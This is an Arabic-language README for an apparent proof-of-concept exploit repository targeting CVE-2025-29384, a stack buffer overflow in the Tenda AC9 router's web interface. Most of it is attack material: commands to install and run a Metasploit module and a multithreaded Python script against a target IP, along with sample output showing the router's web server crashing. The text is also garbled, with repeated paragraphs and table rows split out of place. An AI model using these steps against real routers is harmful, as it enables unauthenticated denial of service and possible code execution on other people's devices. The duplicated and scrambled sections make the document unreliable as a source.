
استغلال لإثبات المفهوم لـ CVE-2025-29384، وهي ثغرة تجاوز سعة المخزن المؤقت القائمة على المكدس خطيرة في أجهزة التوجيه Tenda AC9. يتضمن وحدات Python و Metasploit لتعطيل الخدمة عن بعد بدون مصادقة واحتمالية تنفيذ تعليمات برمجية عن بعد على البرامج الثابتة المستندة إلى MIPS.
يحتوي هذا المستودع على استغلال متقدم لإثبات المفهوم (PoC) لـ CVE-2025-29384، وهي ثغرة خطيرة تجاوز سعة المخزن المؤقت (stack-based buffer overflow) تم اكتشافها في جهاز التوجيه Tenda AC9 الذي يعمل بإصدار البرنامج الثابت V15.03.05.14_multi. تسمح هذه الثغرة للمهاجمين عن بُعد دون مصادقة بتعطيل خادم الويب الخاص بالموجه (رفض الخدمة، DoS) وربما تنفيذ تعليمات برمجية عشوائية (تنفيذ تعليمات عن بُعد، RCE).
الغرض من هذا المشروع هو إظهار مهارات تطوير الاستغلال، والمساهمة في مجتمع الأمن السيبراني، وتقديم عرض تعليمي للتقييمات الأكاديمية (مثل المنح الدراسية للأمن السيبراني). يحتوي هذا المستودع على استغلال متقدم لإثبات المفهوم (PoC) لـ CVE-2025-29384، وهي ثغرة خطيرة تجاوز سعة المخزن المؤقت (stack-based buffer overflow) تم اكتشافها في جهاز التوجيه Tenda AC9 الذي يعمل بإصدار البرنامج الثابت V15.03.05.14_multi. تسمح هذه الثغرة للمهاجمين عن بُعد دون مصادقة بتعطيل خادم الويب الخاص بالموجه (رفض الخدمة، DoS) وربما تنفيذ تعليمات برمجية عشوائية (تنفيذ تعليمات عن بُعد، RCE).
الغرض من هذا المشروع هو إظهار مهارات تطوير الاستغلال، والمساهمة في مجتمع الأمن السيبراني، وتقديم عرض تعليمي للتقييمات الأكاديمية، مثل المنح الدراسية للأمن السيبراني.
تؤثر CVE-2025-29384 على واجهة إدارة الويب لجهاز التوجيه Tenda AC9، وتحديداً نقطة النهاية:
/goform/AdvSetMacMtuWan
توجد الثغرة بسبب عدم التحقق السليم من الحدود على معامل wanMTU، الذي تتم معالجته عبر طلب HTTP POST. يتم نسخ الإدخال إلى مخزن مؤقت ثابت الحجم على المكدس دون التحقق من الصحة، مما يؤدي إلى تجاوز سعة المخزن المؤقت (stack-based buffer overflow) الكلاسيكي.
تتبع الدالة المعرضة للخطر (إعادة بناء افتراضية) هذا الهيكل:
void process_mtu(char *input) {
char buffer[256]; // مخزن مؤقت ثابت الحجم على المكدس
strcpy(buffer, input); // لا يوجد فحص للطول، يسبب تجاوزاً
// معالجة قيمة MTU...
}
المهاجم الذي يرسل حمولة كبيرة جداً (مثل 1024+ بايت) يكتب فوق الذاكرة المجاورة، بما في ذلك عنوان إرجاع الدالة، مما قد يؤدي إلى تنفيذ تعليمات.
Tenda AC9 هو موجه لاسلكي مزدوج النطاق بالمواصفات التالية:
يتضمن هذا المستودع أيضاً وحدة Metasploit بلغة Ruby لـ CVE-2025-29384. تتكامل الوحدة بسلاسة مع إطار Metasploit، مما يسمح لك باستغلال الثغرة باستخدام msfconsole.
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc
حدد موقع ملف وحدة Ruby وانسخه إلى دليل exploits الخاص بـ Metasploit:
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
ملاحظة: إذا كان الدليل غير موجود، قم بإنشائه:
mkdir -p ~/.msf4/modules/exploits/linux/http/
ابدأ إطار Metasploit:
msfconsole
قم بتحميل الوحدة:
use exploit/linux/http/tenda_ac9_stack_overflow
قم بتعيين عنوان IP الهدف:
set RHOSTS <target_ip>
قم بتعيين حجم الحمولة (اختياري، الافتراضي هو 1024):
set PAYLOAD_SIZE 2048
قم بتشغيل الاستغلال:
run
[*] Targeting Tenda AC9 at 192.168.0.1:80...
[*] Sending payload of size 2048...
[+] Payload sent successfully!
[*] Response: HTTP/1.1 200 OK...
النجاح: يتعطل خادم الويب الخاص بالموجه، مما يسبب حالة رفض الخدمة (DoS).
الفشل: يظل الموجه قيد التشغيل، مما يشير إلى أنه قد لا يكون عرضة للخطر أو أنه يعمل بإصدار برنامج ثابت مصحح.
هذا PoC هو استغلال قائم على Python يرسل إدخالاً كبيراً جداً إلى /goform/AdvSetMacMtuWan، مما يؤدي إلى تجاوز سعة المخزن المؤقت لـ تعطيل خادم الويب وعرض إمكانية RCE.
تعدد الخيوط – إطلاق محاولات استغلال متعددة متزامنة لتحقيق الموثوقية.
حمولات ديناميكية – إنشاء سلاسل هجوم عشوائية مشفرة بـ base64.
التسجيل – استخدام وحدة logging في Python لتصحيح الأخطاء المهيكل.
معاملات قابلة للتخصيص – ضبط IP الهدف، حجم الحمولة، وعدد الخيوط.
هذا PoC هو استغلال قائم على Python يرسل إدخالاً كبيراً جداً إلى /goform/AdvSetMacMtuWan، مما يؤدي إلى تجاوز سعة المخزن المؤقت لـ تعطيل خادم الويب.
python poc.py --target <router_ip> --size 2048 --threads 10
| الوسيطة | الوصف |
|---|---|
--target | عنوان IP للموجه (الافتراضي: 192.168.0.1) |
[+] CVE-2025-29384 Exploit Engine
[INFO] Target: 192.168.0.1
[INFO] Sending payload (2048 bytes)...
[WARNING] Target timeout - possible crash!
[INFO] Exploit sequence completed.
النجاح: تصبح واجهة الويب الخاصة بالموجه غير مستجيبة (حالة DoS).
الفشل: لا يزال الموجه يستجيب (غير عرضة للخطر أو برنامج ثابت خاطئ).
لتأكيد أن الاستغلال يعطل الموجه بنجاح، حاول إعادة تحميل واجهة الويب. إذا أصبحت غير مستجيبة، كان الهجوم ناجحاً. لمزيد من التحليل، افحص سجلات الشبكة بحثاً عن اتصالات مفصولة أو استخدم ping للتحقق من استجابة الجهاز.
هذا المشروع هو لأغراض تعليمية وأخلاقية فقط. الاستخدام غير المصرح به لهذا الاستغلال غير قانوني. المؤلف غير مسؤول عن إساءة الاستخدام أو الأضرار الناجمة عن هذا الرمز.
تم التطوير بـ ❤️ بواسطة Otsmane Ahmed هذا المشروع هو لأغراض تعليمية وأخلاقية فقط. الاستخدام غير المصرح به لهذا الاستغلال غير قانوني. المؤلف غير مسؤول عن إساءة الاستخدام أو الأضرار الناجمة عن هذا الرمز.
تم إصدار هذا المشروع بموجب رخصة MIT.
| المقياس | القيمة |
|---|
| متجه الهجوم | الشبكة |
| تعقيد الهجوم | منخفض |
| الامتيازات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| تأثير السرية | عالي |
| تأثير التكامل | عالي |
| تأثير التوفر | عالي |
--size | حجم الحمولة بالبايت (الافتراضي: 1024) |
--threads | عدد الخيوط المتزامنة (الافتراضي: 5) |